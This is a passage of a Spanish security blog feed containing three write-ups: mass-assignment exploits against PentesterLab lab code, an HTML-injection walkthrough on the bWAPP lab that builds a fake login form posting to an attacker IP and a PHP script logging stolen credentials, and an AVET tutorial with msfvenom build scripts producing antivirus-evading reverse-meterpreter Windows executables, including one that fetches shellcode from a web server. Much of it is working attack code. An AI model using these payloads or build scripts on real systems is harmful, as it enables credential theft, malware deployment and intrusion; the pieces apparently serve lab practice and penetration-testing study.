session.clear
redirect "#{AuthorizationExample3.path}"
end
else
session.clear
redirect "#{AuthorizationExample3.path}"
end
end

get "/infos/update_info/:id" do

if session[:user]
@user = User.find(session[:user])
@info = Info.find(params[:id].to_s)
if @user and @user.infos.include?(@info)
@info.update_attributes(params[:info])
@infos = @user.infos
erb :index
else
session.clear
redirect "#{AuthorizationExample3.path}"
end
else
session.clear
redirect "#{AuthorizationExample3.path}"
end
end


end

MASS ASSIGNMENT

Ejercicio 1:

Este es un ejemplo de lo que sería una escalada de privilegios en la aplicación web. Básicamente tenemos dos tipos de cuentas: el usuario estándar y el administrador. Capturando la petición y añadiendo el parámetro y varlo 'user[admin]=1' podemos conseguir el rol deseado:




require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class MassAssignExample1 < PBase
def self.db
"massassign_example1"
end

ActiveRecord::Base.configurations[db] = {
:adapter => "mysql2",
:host => "localhost",
:username => "pentesterlab",
:password => "pentesterlab",
:database => MassAssignExample1.db
}

SEED = "MagicS33d_MassAssignExample1"

class User < ActiveRecord::Base
establish_connection MassAssignExample1.db
end


configure {
recreate() if $dev
ActiveRecord::Base.establish_connection MassAssignExample1.db

unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
ActiveRecord::Migration.class_eval do
create_table "#{MassAssignExample1.db}.users" do |t|
t.string :username
t.string :password
t.integer :admin, :default => 0
end
end
end
}

def self.path
"/massassign/example1/"
end

set :views, File.join(File.dirname(__FILE__), 'example1', 'views')

get '/' do
erb :index
end

get "/signup" do
@user = User.create(params[:user])
erb :user
end

get "/user/:id" do
@user = User.find(params[:id])
erb :user
end



end

Ejercicio 2:

En esta ocasión no podemos crear una cuenta con privilegios de administrador, pero si podemos actualizar la información del usuario autenticado y configurarlo como admin de foma similar a la anterior:

http://vulnerable/massassign/example2/signup?user%5Busername%5D=test&user%5Bpassword%5D=test123&submit=Submit+Query




SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'
require 'rack-session-sequel'


class MassAssignExample2 < PBase

def self.db
"massassign_example2"
end

ActiveRecord::Base.configurations[db] = {
:adapter => "mysql2",
:host => "localhost",
:username => "pentesterlab",
:password => "pentesterlab",
:database => MassAssignExample2.db
}

use Rack::Session::Sequel
SEED = "MagicS33d_MassAssignExample2"

class User < ActiveRecord::Base
establish_connection MassAssignExample2.db
end

configure {
recreate() if $dev
ActiveRecord::Base.establish_connection MassAssignExample2.db
unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
ActiveRecord::Migration.class_eval do
create_table "#{MassAssignExample2.db}.users" do |t|
t.string :username
t.string :password
t.integer :admin, :default => 0
end
end
end
}

def self.path
"/massassign/example2/"
end

set :views, File.join(File.dirname(__FILE__), 'example2', 'views')

get '/' do
erb :index
end

get "/signup" do
params[:user]["admin"] = 0
@user = User.create(params[:user])
session[:user] = @user.id
erb :user
end

get "/profile" do
@user = User.find(session[:user].to_s)
erb :user
end


get "/edit_profile" do
@user = User.find(session[:user].to_s)
erb :profile
end

get "/update_profile" do
@user = User.find(session[:user].to_s)
@user.update_attributes(params[:user])
@user.save
erb :user
end



end

Ejercicio 3:

Por último, para acceder a la información de “Company 2” primero tendremos que visitar la página que permite cambiar la información de la cuenta, capturar la petición GET y agregar '&user%
5Bcompany_id%5D = 2':



http://vulnerable/massassign/example3/update_profile?user[username]=user1&user[password]=pentesterlab&user[company_id]=2&submit=Submit+Query


SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'
require 'rack-session-sequel'


class MassAssignExample3 < PBase

def self.db
"massassign_example3"
end

ActiveRecord::Base.configurations[db] = {
:adapter => "mysql2",
:host => "localhost",
:username => "pentesterlab",
:password => "pentesterlab",
:database => MassAssignExample3.db
}

use Rack::Session::Sequel
SEED = "MagicS33d_MassAssignExample3"

class User < ActiveRecord::Base
establish_connection MassAssignExample3.db
belongs_to :company
end

class Company < ActiveRecord::Base
establish_connection MassAssignExample3.db
has_many :users
end

configure {
recreate() if $dev
ActiveRecord::Base.establish_connection MassAssignExample3.db

unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
ActiveRecord::Migration.class_eval do
create_table "#{MassAssignExample3.db}.users" do |t|
t.string :username
t.string :password
t.string :company_id
end
end
end

unless ActiveRecord::Base.connection.table_exists?("#{db}.companies")
ActiveRecord::Migration.class_eval do
create_table "#{MassAssignExample3.db}.companies" do |t|
t.string :name
t.text :secret
end
end
end
company1 = Company.create(:name => "Company 1", :secret => "Company 1 secret")
company2 = Company.create(:name => "Company 2", :secret => "Company 2's secret, access not authorized for Company 1's users!!!")

company1.users << User.create(:username => 'user1', :password => Digest::MD5.hexdigest(SEED+"pentesterlab"+SEED))
}


def self.path
"/massassign/example3/"
end

set :views, File.join(File.dirname(__FILE__), 'example3', 'views')

get '/' do
if params['username'] && params['password']
@user = User.where(:username => params['username'].to_s,
:password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
if @user
session[:user] = @user.id
return erb :index
end
elsif session[:user]
@user = User.find(session[:user])
return erb :index
end
erb :login
end

get "/edit_profile" do
@user = User.find(session[:user].to_s)
erb :profile
end

get "/update_profile" do
@user = User.find(session[:user].to_s)
@user.update_attributes(params[:user])
@user.save
erb :index
end



end

Y hasta aquí esta serie. Os emplazo a la siguiente y última entrada del laboratorio 'Web for Pentester II" donde veremos inyecciones SQL en MongoDB y algunas otras cosillas variadas.

Diseccionando bee-box (OWASP bWAPP VM) v1.6 - Inyección HTML

$
0
0
bWAPP (buggy Web APPlication) es una aplicación web deliberadamente vulnerable para que podamos practicar explotando un buen número de vulnerabilidades. Ya la descubrimos en el blog hace tres años y recibió su última actualización en noviembre del año pasado.

Lo que os traemos hoy es un writeup de los primeros ejercicios sobre inyección HTML, gracias al 'elvecinodeabajo' (bonito nick).


HTML Injection - Reflected (GET)
http://beebox/bWAPP/htmli_get.php

Los valores proporcionados a través de "firstname" y "lastname" en la consulta GET se reflejan en la página de saludo.

    http://beebox/bWAPP/htmli_get.php?firstname=Speedy&lastname=Gonzales&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button> 
        </form>
        <br />
        Welcome Speedy Gonzales
    </div>

Si jugamos un poco podemos ver que las etiquetas HTML no se filtran y se reflejan tal cual en la página de resultado.

    http://beebox/bWAPP/htmli_get.php?firstname=%3Ch1%3ESpeedy%3C%2Fh1%3E&lastname=%3Ch2%3EGonzales%3C%2Fh2%3E&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button> 
        </form>
        <br />
        Welcome <h1>Speedy</h1> <h2>Gonzales</h2>
    </div>

Ya tenemos el bug, ahora, haciendo alarde de habilidad, usaremos el bug para mostrar un falso login controlado por nosotros. El ataque se enfoca a la ingeniería social, ya que este bug no nos permite explotar el sistema. Sin embargo, el resultado del ataque puede llegar a ser muy convincente, pudiendo pescar la contraseña del usuario con sólo enviarle un link.
Lo primero que necesitaremos colar es el cuerpo de la página de login.

    http://beebox/bWAPP/login
    <div id="main">
        <h1>Login</h1>
        <p>Enter your credentials <i>(bee/bug)</i>.</p>
        <form action="/bWAPP/login.php" method="POST">
            <p><label for="login">Login:</label><br />
            <input type="text" id="login" name="login" size="20" autocomplete="off"></p>
            <p><label for="password">Password:</label><br />
            <input type="password" id="password" name="password" size="20" autocomplete="off"></p>
            <p><label for="security_level">Set the security level:</label><br />
            <select name="security_level">
                <option value="0">low</option>
                <option value="1">medium</option>
                <option value="2">high</option>
            </select>
            </p>
            <button type="submit" name="form" value="submit">Login</button>
        </form>
        <br />
    </div>

Si incrustamos ésto como "firstname" y rellenamos "lastname" con lo que sea obtenemos este resultado:

   
Para que el ataque sea creíble tenemos que darle formato al resultado. Lo primero que tenemos que hacer para ésto es añadir </div> al principio de "firstname". Así dejamos "main" de la siguiente forma:

    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button> 
        </form>
        <br />
        Welcome
    </div>

Así cerramos "main" y podemos crear un <div> nuevo con otro identificador para, después, darle formato. Al "main" de la página de login le llamaré "mai". Lo ponemos todo en una sola línea, con el </div> al principio de todo para cerrar el "main" de verdad.

    </div><div id="mai"><h1>Login</h1><p>Enter your credentials <i>(bee/bug)</i>.</p><form action="/bWAPP/login.php" method="POST"><p><label for="login">Login:</label><br /><input type="text" id="login" name="login" size="20" autocomplete="off"></p> <p><label for="password">Password:</label><br /><input type="password" id="password" name="password" size="20" autocomplete="off"></p><p><label for="security_level">Set the security level:</label><br /><select name="security_level"><option value="0">low</option><option value="1">medium</option><option value="2">high</option></select></p><button type="submit" name="form" value="submit">Login</button></form><br /></div>


  
Ahora ya sólo nos falta hacer desaparecer el "main" de verdad y darle a nuestro "mai" el formato que debería tener. Al principio del código fuente podemos ver de dónde obtiene el formato.

    <!DOCTYPE html>
    <html>
        <head>
            <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
            <!--<link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Architects+Daughter">-->
           <link rel="stylesheet" type="text/css" href="stylesheets/stylesheet.css" media="screen" />

En stylesheets/stylesheet.css está el archivo .css que da formato a la página. De ahí copiamos todo lo que se refiera a "main", lo cambiamos por "mai" y lo dejamos todo en una línea de texto.

 http://beebox/bWAPP/stylesheets/stylesheet.css
 #main {
            padding-left: 100px;
            padding-top: 25px;   
            position: relative;
            width: 760px;
            margin-bottom: 50px;
    }
    #main p {
            padding-bottom: 12px;
    }
    #main a {
            text-decoration:none;
            font-weight:bold;
            color: #666;
    }
    #main h1 {
            font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif;
            font-size: 40px;
            letter-spacing: -1px;
            color: #474747;
            padding-bottom: 12px;
    }
    #main h1:before {
            content: "/";
            color: #ff4500;
            padding-right: 15px;
    }
    #main h1:after {
            content: "/";
            color: #ff4500;
            padding-left: 15px;
    }
    #main h2 {
            font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif;
            font-size: 30px;
            letter-spacing: -1px;
            color: #474747;
            padding-bottom: 18px;
    }
    #main h2:before {
            content: "//";
            color: #ff4500;
            padding-right: 15px;
    }
    #main h2:after {
            content: "//";
            color: #ff4500;
            padding-left: 15px;
    }

Ésto lo editamos, añadimos el display:none a "main" para hacerlo desaparecer y condensamos el estilo en algo así:
    #main {display: none;} #mai {padding-left: 100px;padding-top: 25px;    position: relative;width: 760px;margin-bottom: 50px;}#mai p {padding-bottom: 12px;}#mai a { text-decoration:none; font-weight:bold;color: #666;}#mai h1 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 40px;letter-spacing: -1px;color: #474747;padding-bottom: 12px;} #mai h1:before {content: "/";color: #ff4500;padding-right: 15px;}#mai h1:after {content: "/";color: #ff4500;padding-left: 15px;}#mai h2 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 30px;letter-spacing: -1px;color: #474747;padding-bottom: 18px;} #mai h2:before {content: "//";color: #ff4500;padding-right: 15px;}#mai h2:after {content: "//";color: #ff4500;padding-left: 15px;}
   
Y lo metemos todo en una etiqueta <style> para que la página lo use para mostrar nuestro "login".
    <style type="text/css"> #main {display: none;} #mai {padding-left: 100px;padding-top: 25px;    position: relative;width: 760px;margin-bottom: 50px;}#mai p {padding-bottom: 12px;}#mai a { text-decoration:none; font-weight:bold;color: #666;}#mai h1 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 40px;letter-spacing: -1px;color: #474747;padding-bottom: 12px;} #mai h1:before {content: "/";color: #ff4500;padding-right: 15px;}#mai h1:after {content: "/";color: #ff4500;padding-left: 15px;}#mai h2 {font-family: "Architects Daughter", "Helvetica Neue", Helvetica, Arial, serif; font-size: 30px;letter-spacing: -1px;color: #474747;padding-bottom: 18px;} #mai h2:before {content: "//";color: #ff4500;padding-right: 15px;}#mai h2:after {content: "//";color: #ff4500;padding-left: 15px;}</style>

Así, usando el código de los <div> que probamos antes como "firstname" y usando el  <style>como "lastname" obtenemos una página que nos pide que nos autentiquemos. Y a simple vista parece bastante creíble.


Ahora que tenemos una página en la que podemos poner lo que nos dé la gana, vamos a hacer que este falso login que estamos mostrando nos guarde en algún lado los datos que se le introduzcan para su posterior consulta. Para eso tenemos que modificar un poco el formulario de nuestro "mai" y necesitaremos, además, un lugar en el que recibir y guardar esos datos.

Para esta tarea crearemos la página en PHP que guardará los datos que reciba en un archivo de texto.Usaremos la función file() para grabar el archivo de texto. Guardamos el script en nuestro servidor web, creamos el archivo phishes.lst y le damos permisos de escritura.

    <?php
        $log = fopen("./phishes.lst", "a");
        $login = $_POST["login"];
        $pass = $_POST["password"];
        $output = $login.' : '.$pass."\n";
        fwrite($log, $output);
        fclose($log);
    ?>

Con este script tosco y sucio lo que hacemos es abrir el archivo “phishes.lst” y darle permisos de escritura. Después se guardarán el usuario y la contraseña con los que se rellenaron nuestro falso login en las variables $login y $pass, luego usa esos datos para generar la frase que se añadirá al final de nuestro archivo de text (Por eso lo abrimos con el parámetro “a” (Append)). Por último graba la frase $output en el archivo de texto y lo cierra.

Lo siguiente será modificar el “action” del formulario de nuestro falso login para que envíe la solicitud a nuestro script en PHP.

</div><div id="mai"><h1>Login</h1><p>Enter your credentials <i>(bee/bug)</i>.</p><form action="http://192.168.57.130/recv.php" method="POST"><p><label for="login">Login:</label><br /><input type="text" id="login" name="login" size="20" autocomplete="off"></p> <p><label for="password">Password:</label><br /><input type="password" id="password" name="password" size="20" autocomplete="off"></p><p><label for="security_level">Set the security level:</label><br /><select name="security_level"><option value="0">low</option><option value="1">medium</option><option value="2">high</option></select></p><button type="submit" name="form" value="submit">Login</button></form><br /></div>

Lo ponemos a prueba. Introducimos “usuario” como login y ponemos una contraseña cualquiera en nuestro falso login, pulsamos el botón y vemos lo que ocurre.


Funciona perfectamente. Podemos mejorarlo, pero eso no es a lo que vamos en este momento. Según vayamos avanzando iremos mejorándolo, así vamos tocando un poco cada tema. Lo que podemos decir es que ya sabemos explotar vulnerabilidades HTML Injection para nuestros propósitos.

Lo más importante del HTML Injection es que, al no tratarse de ningún javascript, evade la mayoría de sistemas de protección de los navegadores (NoScript, DisableJava, JavaFirewall...).

_|O|_           
_|_|O           
O|O|O h4ck3D!!  

HTML Injection - Reflected (POST)
http://beebox/bWAPP/htmli_post.php

Aquí el bug es casi el mismo. Los datos proporcionados por firstname y lastname se reflejan en la página sin filtrar, pero esta vez no sirve con una consulta GET (No acepta los parámetros por la URL), así que tenemos que crear un formulario que envíe nuestro falso login mediante una consulta POST. Así se reflejarán correctamente y se verá nuestro falso login en vez de la página htmli_post.php.

    <div id="main">
        <h1>HTML Injection - Reflected (POST)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_post.php" method="POST">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button> 
        </form>
        <br />
        Welcome Speedy Gonzales
    </div>

Pongamos lo que pongamos en First name y Last name el enlace a la página siempre será http://beebox/bWAPP/htmli_post.php.¿Dónde están los parámetros? Pongamos en marcha ZAProxy y configuremos el navegador para pasar por él. Así podremos comprobar todo lo que ocurre (Mucha gente prefiere BurpSuite, pero soy fan del Open Source, así que prefiero ZAP).

Activamos el breakpoint pulsando el botón indicado con la flecha, introducimos firstname y lastname y al pulsar el botón “Go” nos saltará ZAP con la consulta POST detallada.


Para poder mostrar nuestro falso login tenemos que conseguir enviar una consulta POST con firstname, lastname y form=submit. Sin embargo, para ésto es necesario que la víctima envíe esos datos al formulario htmli_post.php para ver nuestro falso login. Para ésto vamos a crear un “Evil button” que, una vez pulsado, envíe los datos para que la página muestre nuestro falso login. Vamos a seguir 2 procedimientos diferentes:

1) Crearemos una página estática con un botón que envíe “firstname” y “lastname” con los parámetros que nosotros queremos.
2) Incrustaremos ese botón en la página de antes mediante GET para que la víctima nunca salga del dominio beebox.

Crear un botón en HTML con parámetros ocultos es muy fácil:

    <html>
        <body>
             <form action="http://beebox/bWAPP/htmli_post.php" method="POST">
                 <input type="hidden" name="firstname" value="">
                 <input type="hidden" name="lastname" value="">
                 <button type="submit" name="form" value="submit">EVIL BUTTON</button> 
            </form>
        </body>
    </html>

Este código nos creará un botón con el texto “EVIL BUTTON”. Lo guardamos como boton.html y lo abrimos. Una vez pulsado el botón que se ve el formulario envía una consulta POST a la página  http://beebox/bWAPP/htmli_post.php, pero con los parámetros en blanco. Por eso nos pide que introduzcamos ambos campos al pulsarlo.


Ahora sólo nos queda rellenar los valores firstname y lastname para que incluya los parámetros que necesitamos indicarle para mostrar nuestro falso login. Sin embargo no podemos pasárselos como hicimos en el capítulo anterior.

Contribución gracias a 'elvecinodeabajo', licencia CC-BY

AVET (AntiVirus Evasion Tool)

$
0
0
Ya sabéis que cuando se ejecuta un archivo exe hecho con msfpayload y cía, el archivo exe normalmente es detectado por el AV...

AVET (AntiVirus Evasion Tool) es una herramienta de Daniel Sauder (aka govolution) que permite experimentar con distintas técnicas de evasión de antivirus. Antes de continuar, os recomiendo echar un vistazo a las presentaciones de su autor https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf y https://deepsec.net/docs/Slides/2014 /Why_Antivirus_Fails_-_Daniel_Sauder.pdf.

Las principales características de AVET son:

- su objetivo son las máquinas de Windows mediante archivos ejecutables
- en la última versión 1.1 se pueden usar payloads de 64 bits
- puede utilizar shellcodes en ensamblador
- se puede utilizar make_avet para configurar el código fuente
- con make_avet se pueden cargar códigos codificados en ASCII desde un archivo de texto o desde un servidor web, además usa una técnica de evasión de AV para evitar el sandboxing y la emulación
- para la codificación ASCII del shellcode se incluye la herramienta format.sh y sh_format

La herramienta se ha probado en Kali 2 (64 bits) y necesita tdm-gcc. Para instalar tdm-gcc visitar https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/, aunque tampoco tiene mucho misterio:

- Descarga el ejecutable correspondiente en https://sourceforge.net/projects/tdm-gcc/
- Instala con # wine tdm64-gcc-5.1.0-2.exe


Cómo usar make_avet y crear scripts

Compilar si es necesario:

$ gcc -o make_avet make_avet.c

El propósito de make_avet es preconfigurar un archivo de definición (defs.h) para que el código fuente se pueda compilar en el siguiente paso. De esta manera el payload se codificará como payload ASCII o con encoders de metasploit.

Las opciones disponibles de make_avet son:

-l carga y ejecuta el shellcode desde un archivo, se llama con mytrojan.exe -l myshellcode.txt
-f compila el shellcode a .exe, necesita el nombre de archivo del shellcode
-u Carga y ejecuta el shellcode desde una url con Internet Explorer (la url se compila en ejecutable)
-E usa el ASCII de AVET cifrado (con -l es obligatorio utilizar -E)
-F usa evasión de sandbox con fopen
-X compila para 64 Bits
-p imprime información de depuración
-h ayuda


Por supuesto, es posible ejecutar todos los comandos paso a paso desde la línea de comandos. Pero se recomienda utilizar el scripts avet_fabric.py, un asistente para hacer los exes (avet_fabric.py).

Los scripts de compilación están escritos de manera que tienen que ser llamados desde el directorio avet:

root@kalidan:~/tools/avet# ./build/build_win32_meterpreter_rev_https_20xshikata.sh

Ejemplos

Estos son algunos ejemplos explicados para crear los archivos .exe

Ejemplo 1:

Compila un shellcode en un archivo .exe y usa -F como técnica de evasión. Ten en cuenta que este ejemplo funcionará para la mayoría de los motores antivirus. Aquí -E se utiliza para codificar el shellcode como ASCII.
#!/bin/bash
# Script de ejemplo para crear un archivo .exe
# Incluye un script que contiene la variable del compilador $win32_compiler
# Puedes editar el compilador en build/global_win32.sh
# O poner $win32_compiler = "mycompiler" aquí
. build/global_win32.sh
# construye el payload para un meterpreter inverso, lo codifica con shikata_ga_nai
# Además del codificador de avet, se debe usar codificación adicional
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.132 lport=443 -e x86/shikata_ga_nai -i 3 -f c -a x86 --platform Windows > sc.txt
# formatea el shellcode para make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# llama a make_avet, -f compila el shellcode a un fichero exe, -F es para la evasión del sandbox AV, -E codifica el shellcode como ASCII
./make_avet -f scclean.txt -F -E
# compila a un archivo pwn.exe
$win32_compiler -o pwn.exe avet.c
# limpia
rm scclean.txt && echo ""> defs.h

Ejemplo 2:

Uso sin -E. En este ejemplo, la técnica de evasión es simple. El shellcode está codificado 20 veces con shikata-ga-nai, normalmente lo suficiente. Esta técnica es bastante similar a un loop junk. Ejecutar tanto código hace que el motor AV deje pasar el archivo.
#!/bin/bash
# Script de ejemplo para crear un archivo .exe
# Incluye un script que contiene la variable del compilador $win32_compiler
# Puedes editar el compilador en build/global_win32.sh
# O poner $win32_compiler = "mycompiler" aquí
. build/global_win32.sh
# Hace el payload de meterpreter, codificado 20 veces con shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.128 lport=443 -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > sc.txt
# Llama a make_avet, el escape de sandbox se debe a las muchas rondas de decodificación del shellcode
./make_avet -f sc.txt
# Compilar al archivo pwn.exe
$ Win32_compiler -o pwn.exe avet.c
# limpiar
echo ""> defs.h

Ejemplo 3 payloads de 64 bits:

En principio para payloads de 64 bits no se deben usar técnicas de evasión adicionales. Pero -F debería funcionar también.
#!/bin/bash          
# Script de ejemplo para crear un archivo .exe
. build/global_win64.sh
# haz un payload para un meterpreter inverso
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.132 lport=443 -f c --platform Windows > sc.txt
# formatea e shellcode para make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# llama a make_avet, compila
./make_avet -f scclean.txt -X -E
$win64_compiler -o pwn.exe avet.c

# limpiar
rm scclean.txt && echo ""> defs.h

Ejemplo 4 carga desde un archivo:

Aquí se necesita el encoder ASCII. El ejecutable cargará el payload de un archivo de texto, lo cual es suficiente para que la mayoría de los motores AV permitan que el payload se ejecute.
#!/bin/bash
# Script de ejemplo para crear un archivo .exe
# Incluye un script que contiene la variable del compilador $win32_compiler
# Puedes editar el compilador en build/global_win32.sh
# O poner $win32_compiler = "mycompiler" aquí
. build/global_win32.sh
# hace el payload para un meterpreter inverso, codificado con shikata_ga_nai
# Además del codificador de avet, se debe usar codificación adicional
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.132 lport=443 -e x86/shikata_ga_nai -f c -a x86 --platform Windows > sc.txt
# formatea el shellcode para make_avet
./format.sh sc.txt > thepayload.txt && rm sc.txt
# llama a make_avet, -l compila el nombre del fichero en el archivo .exe
./make_avet -l thepayload.exe -E
# compila a pwn.exe
$win32_compiler -o pwn.exe avet.c
# linpia
#echo ""> defs.h
# Ahora puedes llamar al programa con pwn.exe, el payload.txt tiene que estar en el mismo directorio

Ejemplo 5 carga con Internet Explorer:

Esto es un poco más complicado y puede que no funcione en el primer intento. El ejecutable iniciará Internet Explorer y descargará el codigo codificado ASCII. A continuación, el shellcode se leerá desde el directorio de caché y si se encuentra lo ejecutará. Se probó con Windows 7 solamente.
#!/bin/bash          
# Script de ejemplo para crear un archivo .exe
# Incluye un script que contiene la variable del compilador $win32_compiler
# Puedes editar el compilador en build/global_win32.sh
# O poner $win32_compiler = "mycompiler" aquí
. build/global_win32.sh
# hace el payload para un meterpreter inverso, codificado con shikata_ga_nai
# Además del codificador de avet, se debe usar codificación adicional
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.2.105 lport=443 -e x86/shikata_ga_nai -i 2 -f c -a x86 --platform Windows > sc.txt
# formatea el shellcode para make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# llama make_avet, compila
./make_avet -E -u 192.168.2.105/scclean.txt
$win32_compiler -o pwn.exe avet.c

# limpia
echo ""> defs.h
# ahora copia scclean.txt al web root e inicia.

avet_fabric.py

Avet_fabric es un asistente, que carga todos los scripts de construcción en el directorio de compilación (el nombre tiene que ser build*.sh) y luego permite al usuario editar la configuración línea por línea. Todavía está en desarrollo pero es tremendamente útil.


Proyecto: https://github.com/govolution/avet.git
Viewing all 1656 articles
Browse latest View live